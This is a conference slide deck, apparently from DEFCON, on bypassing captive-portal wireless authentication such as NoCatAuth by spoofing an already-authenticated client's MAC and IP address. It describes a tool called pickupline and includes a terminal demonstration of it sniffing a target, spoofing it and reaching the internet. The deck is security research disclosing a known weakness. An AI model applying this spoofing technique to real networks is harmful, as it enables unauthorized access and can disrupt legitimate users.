

Bypassing Authenticated Wireless Networks

Dean Pierce

Brandon Edwards

Anthony Lineberry

Introduction to Authenticated Networks

- An authenticated wireless network is a network which requires a username and password to go online.
- They are increasingly common, although the same security flaws exist now that existed when the technology first became available.

NoCatAuth

- NoCatAuth is an open source wireless authentication system written in perl.
- Widely used
 - Schools
 - Coffee shops
 - Restaurants
 - Community Networks

Login Process

- DHCP
- HTTP requests are redirected to and SSL encrypted login page.
- Once authenticated, the firewall sets a rule that allows data from your IP and MAC address to pass through the gateway.

Bypassing Authentication

- Basically, all that you need to do to bypass the firewall rules is spoof the information of someone who is already authenticated.
- Three things need to be known
 - MAC of target
 - IP of target
 - Location of the gateway

How the pickupline Works

- Creates a database
 - Gateway information
 - Target information
- Creates a thread in the background that sniffs for possible targets and attempts to identify the gateway.
- Once you have some targets, you can try spoofing them with the “spooof” command.
- If the spoofing is successful, you should be able to go on the internet as if you were authenticated.

How to Use the Tool

- start
 - starts the background thread that gathers target information etc
- list
 - lists all targets gathered
- spoof
 - lets you select a target to spoof
- exit
 - exits the program

Demonstration

```
deanalator@icarus:~  
icarus ~ # pul  
pickupline version 0.3.0 (DEFCON edition)  
warning: this version of the code is highly alpha  
for a current release, goto web.pdx.edu/~piercede/cs.pickupline.html  
  
> start  
>  
** listening on 'eth1'  
** detected communication 131.252.225.139->66.94.228.103  
** guessing that the gateway is 00:07:e9:06:a6:09  
** or maybe 00:30:65:14:1f:13  
** adding new target 131.252.225.78  
  
> list  
1: 131.252.225.78  
  
> spoof  
target: 1  
** bringing down interface..  
** spoofing mac..  
** setting ip to 131.252.225.78..  
** connecting to network> >  
  
> exit  
icarus ~ # ping google.com -c 1  
PING google.com (216.239.57.99) 56(84) bytes of data:  
64 bytes from 216.239.57.99: icmp_seq=1 ttl=243 time=24.4 ms  
  
--- google.com ping statistics ---  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 24.444/24.444/24.444/0.000 ms  
icarus ~ #
```